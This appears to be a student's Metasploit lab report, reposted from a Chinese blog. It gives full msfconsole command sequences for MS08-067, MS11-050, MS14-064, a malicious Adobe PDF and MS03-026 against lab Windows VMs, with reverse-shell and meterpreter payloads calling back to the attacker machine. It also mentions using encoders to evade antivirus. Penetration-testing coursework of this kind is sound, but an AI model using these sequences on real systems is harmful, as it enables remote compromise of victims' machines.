zoukankan      html  css  js  c++  java
  • Exp6 MSF基础应用


    一、实验目标

    本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
    1、一个主动攻击实践,如ms08_067; (1分)
    2、一个针对浏览器的攻击,如ms11_050;(1分)
    3、一个针对客户端的攻击,如Adobe;(1分)
    4、成功应用任何一个辅助模块。(0.5分)

    二、基础知识

    (一)MSF架构

    MSF默认存放模块目录:

    /usr/share/metasploit-framework/modules/
    

    MSF有6个模块,存放位置对应上面目录下的6个子文件夹。

    1、Exploit模块
    利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动、被动)
    2、Payload模块
    成功exploit之后,真正在目标系统执行的代码或指令。分为3种类型的payload,分别是single、stages和stagers。shellcode是特殊的payload,用于拿shell。
    single:all-in-one。完整的payload,这些payload都是一体化的,不需要依赖外部的库和包。
    stagers:目标计算机内存有限时,先传输一个较小的payload用于建立连接
    stages:利用stagers建立的连接下载后续payload
    3、Encoders模块
    对payload进行加密,躲避AntiVirus检查的模块
    4、Auxiliary模块
    负责执行信息收集、扫描、嗅探、指纹识别、口令猜测和Dos攻击等功能的辅助模块
    5、Post模块
    后期渗透模块。在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、跳板攻击等操作
    6、Nops模块
    提高payload稳定性及维持大小。在渗透攻击构造恶意数据缓冲区时,常常要在真正要执行的Shellcode之前添加一段空指令区, 这样当触发渗透攻击后跳转执行ShellCode时,有一个较大的安全着陆区,从而避免受到内存 地址随机化、返回地址计算偏差等原因造成的ShellCode执行失败,提高渗透攻击的可靠性。

    (二)MSF常用命令

    search name:用指定关键字搜索可以利用的漏洞模块
    use exploit name:使用漏洞
    show options:显示配置选项
    set option name option:设置选项
    show payloads:回链攻击载荷
    show targets :显示目标(os版本)
    set TARGET target number:设置目标版本
    exploit:开始漏洞攻击
    sessions -l:列出会话
    sessions -i id:选择会话
    sessions -k id:结束会话
    Ctrl+z:把会话放到后台
    Ctrl+c:结束会话
    show auxiliary:显示辅助模块
    use auxiliary name :使用辅助模块
    set option name option:设置选项
    exploit:运行模块

    (三)msf数据库相关

    db_status:查看MSF有没有连接上后台数据库。如果没有连上数据库,在终端输入msfdb start后再启动MSF。没有连接上数据库MSF也是可以使用的,只是连接上了的话,我们渗透过程中获取的一些信息可以保存下来,比如目标机器的账号密码信息等。
    db_rebuild_cache:这个命令将所有模块信息缓存到数据库中,通过数据库检索效率就高很多了。
    db_disconnect:断开数据库连接。
    db_connect:msf默认连上postgresql的msf数据库。可以用db_connect连接我们指定的数据库。如果要使用配置文件进行连接,默认的数据库配置文件为/usr/share/metasploit-framework/config/database.yml,可以参考这个文件进行编写。
    db_nmap
    集成在msf中的namp扫描命令。不同的是db_nmap扫描的结果会自动保存到数据库中。
    可以输入hosts查看扫描到的主机信息
    如果数据多,可以用 hosts IP 进行过滤;hosts -u 查看up状态的机器;使用 hosts -c 列名[,列名] 指定要看的列;使用 hosts -S 进行搜索,比如hosts -S windows
    输入services可以查看主机开放的端口情况
    creds:查看扫描出来的密码信息
    vulns:查看扫描出来的漏洞信息
    loot:有些账号密码我们可能没有获取到明文信息,可是经过加密的hash值,可以用这个显示
    db_export/db_import
    数据库的导入和导出
    db_export -f /root/msfbak.xml
    nmap导出的也可以导入到msf中
    nmap -A 192.168.1.113 -oX nmap.xml => db_import -f /root/nmap.xml

    (四)实验中相关漏洞解释

    我们需要了解漏洞的特性,然后找到合适的靶机来进行实验
    这里参考了张黎仙同学的博客

    二、基础问题回答

    (一)用自己的话解释什么是exploit,payload,encode.

    1、exploit:负责负载有用代码的交通工具,先通过exploit把路打通、打开以后,好让有用代码能够作用与目的地。
    2、payload:攻击者在目标系统上执行的一段攻击代码,即exploit所负载的东西。该代码具有返弹连接,创建用户,执行其他系统命令的功能。
    3、encode:对payload进行再编译,一是为了避免使攻击载荷不能完整运行的“坏字符”,二是为了改变特征码,帮助攻击载荷避免被杀软发现。

    三、实践过程

    (一)Windows服务渗透攻击——MS08-067安全漏洞

    • 攻击机:Kali(192.168.88.138)
    • 靶机:Microsoft windows 2000(192.168.88.132)

    Kali终端中输入msfconsole进入控制台
    可以通过search ms08_067查找相应的漏洞模块:

    Kali中依次输入一下指令对靶机进行攻击:

    use exploit/windows/smb/ms08_067_netapi //选择相应的漏洞模块
    show payloads //查看可使用的载荷
    set payload generic/shell_reverse_tcp //tcp反向回连
    show options //查看配置渗透攻击所需的配置项 
    set LHOST 192.168.88.138 //攻击机ip
    set LPORT 5328 //攻击端口
    set RHOST 192.168.88.132 //靶机ip,特定漏洞端口已经固定
    show targets //查看靶机平台 
    set target 0 //自动选择目标系统类型,匹配度较高
    exploit //攻击
    

    一开始用的大二某次实验上用的Microsoft windows XP系统,然后显示会话没有建立(大多数同学都是用的XP系统,我也不太清楚为啥我没成功,可能版本)

    后用Microsoft windows 2000攻击成功截图:

    使用ipconfig验证是否回连正确:

    (二)浏览器渗透攻击——MS11-050

    • 攻击机:Kali(192.168.88.138)
    • 靶机:Microsoft windows XP(192.168.88.133)

    Kali终端中输入msfconsole进入控制台
    可以通过search MS11-050查找相应的漏洞模块:

    Kali中依次输入一下指令对靶机进行攻击:

    use windows/browser/ms11_050_mshtml_cobjectelement //选择相应的漏洞模块
    set payload windows/meterpreter/reverse_tcp //tcp反向回连
    set URIPATH ms5328  //设置访问主页的URI
    set LHOST 192.168.88.138 //攻击机ip
    set LPORT 5328 //攻击端口
    exploit //攻击
    

    将生成的URL地址在win XP的IE浏览器中打开

    但是可以发现页面还没坚持几秒,就弹出一个提示框:

    Kali中也一直没有建立会话:

    尝试更改Internet的安全选项:

    再次尝试建立会话(结果还是不太行):

    (三)浏览器渗透攻击——MS14-064

    用另一种浏览器渗透攻击进行尝试

    • 攻击机:Kali(192.168.88.138)
    • 靶机:Microsoft windows XP(192.168.88.133)

    Kali终端中输入msfconsole进入控制台
    可以通过search MS14-064查找相应的漏洞模块:

    Kali中依次输入一下指令对靶机进行攻击:

    use windows/browser/ms14_064_ole_code_execution //选择相应的漏洞模块
    set payload windows/meterpreter/reverse_tcp //tcp反向回连
    set SRVHOST 192.168.186.128 //设置攻击机IP
    set AllowPowerShellPrompt 1 //因为msf中自带的漏洞利用exp调用的是powershell,所以msf中的exp代码只对安装powershell的系统生效
    set LHOST 192.168.88.138 //攻击机ip
    set LPORT 5328 //攻击端口
    set target 0 
    exploit //攻击
    

    将生成的URL地址在Microsoft windows XP的IE浏览器中打开,Kali中发现成功建立了一个ID为1会话:

    输入sessions -i 1获取会话连接,并输入ipconfig进行验证:

    (四)针对Adobe Reader软件的渗透攻击——adobe_toolbutton

    • 攻击机:Kali(192.168.88.138)
    • 靶机:Microsoft windows XP(192.168.88.133)

    终端中输入msfconsole进入控制台

    Kali中依次输入一下指令对靶机进行攻击:

    use windows/fileformat/adobe_cooltype_sing //选择相应的漏洞模块
    set payload windows/meterpreter/reverse_tcp //tcp反向回连
    set LHOST 192.168.88.138 //攻击机ip
    set LPORT 5328 //攻击端口
    set FILENAME 5328-3.pdf //设置生成pdf文件的名字
    exploit //攻击 
    

    将生成的pdf文件拷贝到靶机上:

    kali中输入back退出当前模块,进入监听模块,输入以下指令:

    use exploit/multi/handler //进入监听模块
    set payload windows/meterpreter/reverse_tcp //tcp反向连接
    set LHOST 192.168.88.138 //攻击机 IP
    set LPORT 5328 //攻击端口
    exploit //攻击
    

    在靶机上打开5328-3.pdf文件,攻击机显示攻击成功,并成功建立了一个ID为1会话:

    输入ipconfig进行验证:

    (五)应用辅助模块——MS03_026

    -攻击机:Kali(192.168.88.138)

    • 靶机:Microsoft windows 2000(192.168.88.132)

    终端中输入msfconsole进入控制台

    通过show auxiliary指令查找辅助模块:

    这里我们选用exploit/windows/dcerpc/ms03_026_dcom模块
    Kali中依次输入一下指令对靶机进行攻击:

    use exploit/windows/dcerpc/ms03_026_dcom //选择相应的漏洞模块
    set payload windows/meterpreter/reverse_tcp //tcp反向回连
    set LHOST 192.168.88.138 //攻击机ip
    set LPORT 135 //攻击端口
    set RHOST 192.168.88.132 //靶机ip
    set RPORT 135 
    run //启动
    

    一开始用的Microsoft windows XP系统,然后显示会话没有建立:

    后用Microsoft windows 2000攻击成功,并成功建立了一个ID为1会话:

    输入ipconfig进行验证:

    三、思考题

    (一)离实战还缺些什么技术或步骤?

    渗透技术需要特定的windows版本支持,条件比较苛刻。而且随着windows版本的更新,很多漏洞已经被渐渐修复,实用价值已经越来越低了攻击成功概率不高。

    四、实践总结与体会

    m本次实验体会到了etasploit攻击漏洞的专一性,对操作系统和软件版本都有细致的要求。必须要在特定环境和特定触发条件下才能成功。

    五、参考资料

    MSF——基本使用和Exploit模块

  • 相关阅读:
    利用进制转换压缩数字
    一个不错的移动政务网站
    系统缓存全解析(转摘)
    GeoDatabase元数据不能编辑的问题“The application is not licensed to perform this operation ”
    RSA算法的分析与实现(转载)
    云计算经济学
    Memcached在Windows操作系统下多实例并存(转载)
    AGS FlexView 与 ArcGIS Server的FeatureLayer交互的过程
    转载>ArcEngine中版本的使用
    基于ArcEngine的地图四着色算法的实现(转载)
  • 原文地址:https://www.cnblogs.com/seven-moon/p/12820666.html
Copyright © 2011-2022 走看看